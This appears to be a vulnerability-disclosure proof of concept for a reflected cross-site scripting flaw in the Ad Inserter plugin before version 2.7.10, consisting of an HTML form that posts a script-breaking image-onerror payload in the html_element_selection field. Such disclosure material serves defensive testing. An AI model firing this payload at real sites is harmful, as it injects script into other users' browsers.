Ad Inserter < 2.7.10 - Reflected Cross-Site Scripting

<form action="https://example.com/" method="POST">
    <input type="text" name="html_element_selection" value="</script><img src onerror=alert(/XSS/)>">
    <input type="submit" value="Exploit me pls" />
</form>